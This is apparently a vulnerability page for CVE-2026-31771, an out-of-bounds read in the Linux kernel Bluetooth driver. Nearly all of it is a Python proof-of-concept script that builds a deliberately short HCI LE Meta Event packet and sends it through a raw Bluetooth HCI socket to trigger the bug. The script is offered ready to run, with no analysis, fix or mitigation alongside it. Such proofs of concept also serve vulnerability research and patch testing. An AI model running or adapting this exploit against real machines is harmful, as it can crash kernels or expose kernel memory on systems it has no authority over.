CVE-2026-31771 Linux内核蓝牙驱动越界读取漏洞

# PoC for CVE-2026-31771 # Description: Trigger the out-of-bounds read by sending a malformed HCI Event. # Note: This requires a Bluetooth adapter capable of raw HCI injection. import socket import struct # Bluetooth HCI constants BTPROTO_HCI = 1 HCI_EVENT_PKT = 0x04 def create_malformed_hci_event(): """ Constructs a short HCI event packet to trigger the vulnerability. The event is designed to be shorter than expected by the handler. """ # Example: LE Meta Event or similar that expects a BD_ADDR event_code = 0x3E plen = 0x01 # Claim payload length is 1, but handler expects >= 7 for bdaddr # Packet structure: Type, Event Code, Plen, Payload packet = struct.pack("<BBB", HCI_EVENT_PKT, event_code, plen) packet += b'\x00' # Insufficient payload return packet def send_raw_hci(packet): sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, BTPROTO_HCI) sock.bind((0,)) try: sock.send(packet) print("[+] Malformed HCI packet sent.") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": print("Attempting to trigger CVE-2026-31771...") pkt = create_malformed_hci_event() send_raw_hci(pkt)